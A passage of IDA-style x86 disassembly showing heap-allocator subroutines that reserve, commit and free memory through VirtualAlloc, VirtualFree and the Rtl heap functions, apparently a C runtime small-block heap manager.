lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E95B: ; CODE XREF: sub_41E742+192j
; sub_41E742+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41EA66
mov eax, dword_4DD374
test eax, eax
jz loc_41EA58
mov ecx, dword_4DD36C
mov esi, dword_427068
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_4DD36C
mov eax, dword_4DD374
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DD374
mov ecx, dword_4DD36C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DD374
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DD374
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E9E9
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DD374
loc_41E9E9: ; CODE XREF: sub_41E742+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41EA58
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_4DD374
push dword ptr [eax+10h]
push 0
push dword_4DD384
call dword_42714C ; RtlFreeHeap
mov eax, dword_4DD378
mov edx, dword_4DD37C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DD374
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41D670
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DD378
cmp eax, dword_4DD374
jbe short loc_41EA4E
sub [ebp+arg_0], 14h
loc_41EA4E: ; CODE XREF: sub_41E742+306j
mov eax, dword_4DD37C
mov dword_4DD370, eax
loc_41EA58: ; CODE XREF: sub_41E742+234j
; sub_41E742+2ABj
mov eax, [ebp+arg_0]
mov dword_4DD36C, edi
mov dword_4DD374, eax
loc_41EA66: ; CODE XREF: sub_41E742+38j
; sub_41E742+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41E742 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p
; sub_41BEF3+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DD378
mov edx, dword_4DD37C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41EAAB
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41EABB
; ---------------------------------------------------------------------------
loc_41EAAB: ; CODE XREF: sub_41EA6B+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej
mov eax, dword_4DD370
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41EAE2
loc_41EAC9: ; CODE XREF: sub_41EA6B+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EAE2
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41EAC9
loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj
; sub_41EA6B+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41EB60
mov ebx, edx
loc_41EAE9: ; CODE XREF: sub_41EA6B+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB05
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EB03
add ebx, 14h
jmp short loc_41EAE9
; ---------------------------------------------------------------------------
loc_41EB03: ; CODE XREF: sub_41EA6B+91j
cmp ebx, eax
loc_41EB05: ; CODE XREF: sub_41EA6B+83j
jnz short loc_41EB60
loc_41EB07: ; CODE XREF: sub_41EA6B+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41EB1D
cmp dword ptr [ebx+8], 0
jnz short loc_41EB1A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41EB07
; ---------------------------------------------------------------------------
loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j
cmp ebx, [ebp+var_4]
loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj
jnz short loc_41EB45
mov ebx, edx
loc_41EB21: ; CODE XREF: sub_41EA6B+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB35
cmp dword ptr [ebx+8], 0
jnz short loc_41EB33
add ebx, 14h
jmp short loc_41EB21
; ---------------------------------------------------------------------------
loc_41EB33: ; CODE XREF: sub_41EA6B+C1j
cmp ebx, eax
loc_41EB35: ; CODE XREF: sub_41EA6B+BBj
jnz short loc_41EB45
call sub_41ED74
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41EB59
loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj
; sub_41EA6B:loc_41EB35j
push ebx
call sub_41EE25
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EB60
loc_41EB59: ; CODE XREF: sub_41EA6B+D8j
xor eax, eax
jmp loc_41ED6F
; ---------------------------------------------------------------------------
loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj
; sub_41EA6B:loc_41EB05j ...
mov dword_4DD370, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41EB87
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EBBE
loc_41EB87: ; CODE XREF: sub_41EA6B+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41EBBB
loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41EBA4
loc_41EBBB: ; CODE XREF: sub_41EA6B+137j
mov edx, [ebp+var_4]
loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41EBE7
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj
; sub_41EA6B+183j
test ecx, ecx
jl short loc_41EBF0
shl ecx, 1
inc edi
jmp short loc_41EBE7
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41EC0D
push 3Fh
pop esi
loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj
cmp esi, edi
jz loc_41ED22
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41EC7E
cmp edi, 20h
jge short loc_41EC4D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j
; sub_41EA6B+203j
mov ebx, [ebp+arg_0]
loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j
; sub_41EA6B+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41ED2E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41ED1F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41ECF0
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ECDE
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41ECDE: ; CODE XREF: sub_41EA6B+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41ED1F
; ---------------------------------------------------------------------------
loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ED09
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej
; sub_41EA6B+283j
mov ecx, [ebp+var_8]
loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j
test ecx, ecx
jz short loc_41ED31
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41ED31
; ---------------------------------------------------------------------------
loc_41ED2E: ; CODE XREF: sub_41EA6B+229j
mov ecx, [ebp+var_8]
loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j
; sub_41EA6B+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41ED67
cmp ebx, dword_4DD374
jnz short loc_41ED67
mov ecx, [ebp+var_4]
cmp ecx, dword_4DD36C
jnz short loc_41ED67
and dword_4DD374, 0
loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j
; sub_41EA6B+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41EA6B endp
; =============== S U B R O U T I N E =======================================
sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp
mov eax, dword_4DD378
mov ecx, dword_4DD368
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41EDB7
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DD37C
push edi
push dword_4DD384
call dword_4271A0 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_41EE07
add dword_4DD368, 10h
mov dword_4DD37C, eax
mov eax, dword_4DD378
loc_41EDB7: ; CODE XREF: sub_41ED74+11j
mov ecx, dword_4DD37C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DD384
lea esi, [ecx+eax*4]
call dword_427150 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_41EE07
push 4
push 2000h
push 100000h
push edi
call dword_427064 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41EE0B
push dword ptr [esi+10h]
push edi
push dword_4DD384
call dword_42714C ; RtlFreeHeap
loc_41EE07: ; CODE XREF: sub_41ED74+30j
; sub_41ED74+67j
xor eax, eax
jmp short loc_41EE22
; ---------------------------------------------------------------------------
loc_41EE0B: ; CODE XREF: sub_41ED74+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DD378
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41EE22: ; CODE XREF: sub_41ED74+95j
pop edi
pop esi
retn
sub_41ED74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41EE37: ; CODE XREF: sub_41EE25+19j
test eax, eax
jl short loc_41EE40
shl eax, 1
inc ebx
jmp short loc_41EE37
; ---------------------------------------------------------------------------
loc_41EE40: ; CODE XREF: sub_41EE25+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41EE55: ; CODE XREF: sub_41EE25+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41EE55
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_427064 ; VirtualAlloc
test eax, eax
jnz short loc_41EE88
or eax, 0FFFFFFFFh
jmp loc_41EF1B
; ---------------------------------------------------------------------------
loc_41EE88: ; CODE XREF: sub_41EE25+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41EECE
lea eax, [edi+10h]
loc_41EE95: ; CODE XREF: sub_41EE25+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41EE95
loc_41EECE: ; CODE XREF: sub_41EE25+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41EF0B
or [eax+4], edi
loc_41EF0B: ; CODE XREF: sub_41EE25+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41EE25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41F0CE
test bl, 1
jnz loc_41F0C7
add ebx, ecx
cmp esi, ebx
jg loc_41F0C7
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41EF97
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41EF97: ; CODE XREF: sub_41EF20+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41EFE7
cmp ecx, 20h
jnb short loc_41EFC3
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EFE7
; ---------------------------------------------------------------------------
loc_41EFC3: ; CODE XREF: sub_41EF20+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj
; sub_41EF20+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41F0B5
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41F021
push 3Fh
pop edi
loc_41F021: ; CODE XREF: sub_41EF20+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41F0A3
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41F07A
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F06D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41F06D: ; CODE XREF: sub_41EF20+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41F09F
; ---------------------------------------------------------------------------
loc_41F07A: ; CODE XREF: sub_41EF20+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F090
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41F090: ; CODE XREF: sub_41EF20+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41F09F: ; CODE XREF: sub_41EF20+158j
shr edx, cl
or [eax], edx
loc_41F0A3: ; CODE XREF: sub_41EF20+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41F0B8
; ---------------------------------------------------------------------------
loc_41F0B5: ; CODE XREF: sub_41EF20+E5j
mov edx, [ebp+arg_4]
loc_41F0B8: ; CODE XREF: sub_41EF20+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41F20E
; ---------------------------------------------------------------------------
loc_41F0C7: ; CODE XREF: sub_41EF20+52j
; sub_41EF20+5Cj
xor eax, eax
jmp loc_41F211
; ---------------------------------------------------------------------------
loc_41F0CE: ; CODE XREF: sub_41EF20+49j
jge loc_41F20E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41F0F9
push 3Fh
pop esi
loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41F188
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F112
push 3Fh
pop esi
loc_41F112: ; CODE XREF: sub_41EF20+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41F161
cmp esi, 20h
jnb short loc_41F13D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41F15E
; ---------------------------------------------------------------------------
loc_41F13D: ; CODE XREF: sub_41EF20+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41F15E: ; CODE XREF: sub_41EF20+214j
; sub_41EF20+21Bj ...
mov ebx, [ebp+arg_4]
loc_41F161: ; CODE XREF: sub_41EF20+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F188
push 3Fh
pop esi
loc_41F188: ; CODE XREF: sub_41EF20+1DDj
; sub_41EF20+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41F205
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41F1DC
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1CF
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41F201
; ---------------------------------------------------------------------------
loc_41F1DC: ; CODE XREF: sub_41EF20+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1F2
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41F201: ; CODE XREF: sub_41EF20+2BAj
shr edx, cl
or [eax], edx
loc_41F205: ; CODE XREF: sub_41EF20+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41F20E: ; CODE XREF: sub_41EF20+1A2j
; sub_41EF20:loc_41F0CEj
push 1
pop eax
loc_41F211: ; CODE XREF: sub_41EF20+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41EF20 endp
; =============== S U B R O U T I N E =======================================
sub_41F216 proc near ; CODE XREF: sub_41E672+41p
; sub_41F50E:loc_41F6DDp
cmp dword_43AE60, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41F22A
mov esi, offset off_43AE50
jmp short loc_41F247
; ---------------------------------------------------------------------------
loc_41F22A: ; CODE XREF: sub_41F216+Bj
push 2020h
push 0
push dword_4DD384
call dword_427150 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_41F353
loc_41F247: ; CODE XREF: sub_41F216+12j
mov ebp, dword_427064
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_41F33C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_41F32E
mov eax, offset off_43AE50
cmp esi, eax
jnz short loc_41F2A6
cmp off_43AE50, 0
jnz short loc_41F296
mov off_43AE50, eax
loc_41F296: ; CODE XREF: sub_41F216+79j
cmp off_43AE54, 0
jnz short loc_41F2BB
mov off_43AE54, eax
jmp short loc_41F2BB
; ---------------------------------------------------------------------------
loc_41F2A6: ; CODE XREF: sub_41F216+70j
mov [esi], eax
mov eax, off_43AE54
mov [esi+4], eax
mov off_43AE54, esi
mov eax, [esi+4]
mov [eax], esi
loc_41F2BB: ; CODE XREF: sub_41F216+87j
; sub_41F216+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41F2DD: ; CODE XREF: sub_41F216+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41F2DD
push ebx
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_41F306: ; CODE XREF: sub_41F216+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41F32A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41F306
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F216+F7j
mov eax, esi
jmp short loc_41F355
; ---------------------------------------------------------------------------
loc_41F32E: ; CODE XREF: sub_41F216+63j
push 8000h
push 0
push edi
call dword_427068 ; VirtualFree
loc_41F33C: ; CODE XREF: sub_41F216+4Bj
cmp esi, offset off_43AE50
jz short loc_41F353
push esi
push 0
push dword_4DD384
call dword_42714C ; RtlFreeHeap
loc_41F353: ; CODE XREF: sub_41F216+2Bj
; sub_41F216+12Cj
xor eax, eax
loc_41F355: ; CODE XREF: sub_41F216+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F216 endp
; =============== S U B R O U T I N E =======================================
sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call dword_427068 ; VirtualFree
cmp off_43CE70, esi
jnz short loc_41F37F
mov eax, [esi+4]
mov off_43CE70, eax
loc_41F37F: ; CODE XREF: sub_41F35A+1Bj
cmp esi, offset off_43AE50
jz short loc_41F3A7
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DD384
call dword_42714C ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj
or dword_43AE60, 0FFFFFFFFh
pop esi
retn
sub_41F35A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43AE54
push edi
loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41F45B
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41F3D6: ; CODE XREF: sub_41F3B0+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41F417
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call dword_427068 ; VirtualFree
test eax, eax
jz short loc_41F417
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DBE40
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41F40C
cmp eax, edi
jbe short loc_41F40F
loc_41F40C: ; CODE XREF: sub_41F3B0+56j
mov [esi+0Ch], edi
loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41F424
loc_41F417: ; CODE XREF: sub_41F3B0+2Cj
; sub_41F3B0+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41F3D6
loc_41F424: ; CODE XREF: sub_41F3B0+65j
cmp [ebp+var_4], 0
mov ecx, esi
